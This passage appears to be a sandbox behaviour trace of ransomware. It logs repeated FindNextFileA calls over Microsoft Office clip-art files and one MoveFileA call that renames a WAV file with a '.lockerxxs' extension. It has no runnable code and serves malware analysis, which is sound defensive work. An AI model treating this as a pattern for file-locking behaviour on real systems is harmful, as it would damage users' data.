lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ec6b00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81ec6b00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196374.WMF", cAlternateFileName="")) returned 1 [0061.723] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929ce100, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x929ce100, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x8cbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196400.WMF", cAlternateFileName="")) returned 1 [0061.723] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fc00, ftCreationTime.dwHighDateTime=0x1bdf0c6, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91fc00, ftLastWriteTime.dwHighDateTime=0x1bdf0c6, nFileSizeHigh=0x0, nFileSizeLow=0x2518, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199036.WMF", cAlternateFileName="")) returned 1 [0061.723] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebd55500, ftCreationTime.dwHighDateTime=0x1be05ec, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xebd55500, ftLastWriteTime.dwHighDateTime=0x1be05ec, nFileSizeHigh=0x0, nFileSizeLow=0x8ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199283.WMF", cAlternateFileName="")) returned 1 [0061.723] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b53500, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54b53500, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xf5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199549.WMF", cAlternateFileName="")) returned 1 [0061.724] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b8b4b00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8b8b4b00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199661.WMF", cAlternateFileName="")) returned 1 [0061.724] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1b0eb00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb1b0eb00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199727.WMF", cAlternateFileName="")) returned 1 [0061.724] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc6b8000, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbc6b8000, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199755.WMF", cAlternateFileName="")) returned 1 [0061.724] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd311d700, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd311d700, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199805.WMF", cAlternateFileName="")) returned 1 [0061.725] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ccab00, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85ccab00, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x2398, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205462.WMF", cAlternateFileName="")) returned 1 [0061.725] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89603200, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x89603200, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205466.WMF", cAlternateFileName="")) returned 1 [0061.725] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14d9c300, ftCreationTime.dwHighDateTime=0x1be4d5f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x14d9c300, ftLastWriteTime.dwHighDateTime=0x1be4d5f, nFileSizeHigh=0x0, nFileSizeLow=0x17f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205582.WMF", cAlternateFileName="")) returned 1 [0061.726] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e240a00, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3e240a00, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0xb34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0211949.WMF", cAlternateFileName="")) returned 1 [0061.726] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50527800, ftCreationTime.dwHighDateTime=0x1be5610, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50527800, ftLastWriteTime.dwHighDateTime=0x1be5610, nFileSizeHigh=0x0, nFileSizeLow=0x11be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212219.WMF", cAlternateFileName="")) returned 1 [0061.726] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56952400, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56952400, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x248e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212661.WMF", cAlternateFileName="")) returned 1 [0061.726] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6ca800, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e6ca800, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0xb7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212701.WMF", cAlternateFileName="")) returned 1 [0061.726] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae7a700, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdae7a700, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x2424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212957.WMF", cAlternateFileName="")) returned 1 [0061.726] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8726e600, ftCreationTime.dwHighDateTime=0x1be59a2, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8726e600, ftLastWriteTime.dwHighDateTime=0x1be59a2, nFileSizeHigh=0x0, nFileSizeLow=0x68ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0214098.WAV", cAlternateFileName="")) returned 1 [0061.733] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav.lockerxxs")) returned 1 [0061.735] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ba5a00, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32ba5a00, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1d3a, dwReserved0=0x3000003, dwReserved1=0x4f8120, cFileName="J0215086.WMF", cAlternateFileName="")) returned 1 [0061.736] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c4ec00, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35c4ec00, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x3138, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216516.WMF", cAlternateFileName="")) returned 1 [0061.736] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e7ca500, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e7ca500, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x1c06, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216588.WMF", cAlternateFileName="")) returned 1 [0061.736] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff3ba100, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xff3ba100, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x5d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216724.WMF", cAlternateFileName="")) returned 1 [0061.736] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825cf700, ftCreationTime.dwHighDateTime=0x1be6c1b, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x825cf700, ftLastWriteTime.dwHighDateTime=0x1be6c1b, nFileSizeHigh=0x0, nFileSizeLow=0x2dc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216858.WMF", cAlternateFileName="")) returned 1 [0061.736] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8cb3500, ftCreationTime.dwHighDateTime=0x1be6c1d, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8cb3500, ftLastWriteTime.dwHighDateTime=0x1be6c1d, nFileSizeHigh=0x0, nFileSizeLow=0x1aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217698.WMF", cAlternateFileName="")) returned 1 [0061.736] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bfdb600, ftCreationTime.dwHighDateTime=0x1be7a36, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7bfdb600, ftLastWriteTime.dwHighDateTime=0x1be7a36, nFileSizeHigh=0x0, nFileSizeLow=0x3838, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0221903.WMF", cAlternateFileName="")) returned 1 [0061.736] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7bae00, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d7bae00, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222015.WMF", cAlternateFileName="")) returned 1 [0061.737] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fde0800, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fde0800, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222017.WMF", cAlternateFileName="")) returned 1 [0061.737] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82406200, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x82406200, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222019.WMF", cAlternateFileName="")) returned 1 [0061.737] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85d3e900, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85d3e900, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222021.WMF", cAlternateFileName="")) returned 1 [0061.737] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b0a7e00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b0a7e00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229385.WMF", cAlternateFileName="")) returned 1 [0061.737] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c3bab00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7c3bab00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229389.WMF", cAlternateFileName="")) returned 1 [0061.737] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd64900, ftCreationTime.dwHighDateTime=0x1bc82e4, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6fd64900, ftLastWriteTime.dwHighDateTime=0x1bc82e4, nFileSizeHigh=0x0, nFileSizeLow=0x30da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0230876.WMF", cAlternateFileName="")) returned 1 [0061.737] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabe1b900, ftCreationTime.dwHighDateTime=0x1be516b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xabe1b900, ftLastWriteTime.dwHighDateTime=0x1be516b, nFileSizeHigh=0x0, nFileSizeLow=0x77f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233018.WMF", cAlternateFileName="")) returned 1 [0061.738] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c43c200, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3c43c200, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233070.WMF", cAlternateFileName="")) returned 1 [0061.738] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36d32e00, ftCreationTime.dwHighDateTime=0x1be56ed, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36d32e00, ftLastWriteTime.dwHighDateTime=0x1be56ed, nFileSizeHigh=0x0, nFileSizeLow=0x80f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233312.WMF", cAlternateFileName="")) returned 1 [0061.738] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23f92c00, ftCreationTime.dwHighDateTime=0x1be8094, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x23f92c00, ftLastWriteTime.dwHighDateTime=0x1be8094, nFileSizeHigh=0x0, nFileSizeLow=0x6632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234131.WMF", cAlternateFileName="")) returned 1 [0061.738] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a15c200, ftCreationTime.dwHighDateTime=0x1be7fe9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4a15c200, ftLastWriteTime.dwHighDateTime=0x1be7fe9, nFileSizeHigh=0x0, nFileSizeLow=0xa87e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234266.WMF", cAlternateFileName="")) returned 1 [0061.738] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1034e00, ftCreationTime.dwHighDateTime=0x1be75a5, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1034e00, ftLastWriteTime.dwHighDateTime=0x1be75a5, nFileSizeHigh=0x0, nFileSizeLow=0x27ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234657.WMF", cAlternateFileName="")) returned 1 [0061.739] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9eeb500, ftCreationTime.dwHighDateTime=0x1bf2be6, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9eeb500, ftLastWriteTime.dwHighDateTime=0x1bf2be6, nFileSizeHigh=0x0, nFileSizeLow=0xd4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234687.GIF", cAlternateFileName="")) returned 1 [0061.739] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85566d00, ftCreationTime.dwHighDateTime=0x1be911f, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85566d00, ftLastWriteTime.dwHighDateTime=0x1be911f, nFileSizeHigh=0x0, nFileSizeLow=0x1820, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235241.WMF", cAlternateFileName="")) returned 1 [0061.739] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c56b00, ftCreationTime.dwHighDateTime=0x1c0371d, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4c56b00, ftLastWriteTime.dwHighDateTime=0x1c0371d, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235319.WMF", cAlternateFileName="")) returned 1 [0061.739] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bd8800, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0bd8800, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x13d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240695.WMF", cAlternateFileName="")) returned 1 [0061.739] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16dfe00, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc16dfe00, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x1aa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240719.WMF", cAlternateFileName="")) returned 1 [0061.741] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d89700, ftCreationTime.dwHighDateTime=0x1beb2f4, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28d89700, ftLastWriteTime.dwHighDateTime=0x1beb2f4, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251301.WMF", cAlternateFileName="")) returned 1 [0061.741] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf384f00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf384f00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x1232, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251871.WMF", cAlternateFileName="")) returned 1 [0061.741] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db62a00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3db62a00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251925.WMF", cAlternateFileName="")) returned 1 [0061.742] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb8de800, ftCreationTime.dwHighDateTime=0x1beb2f7, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, 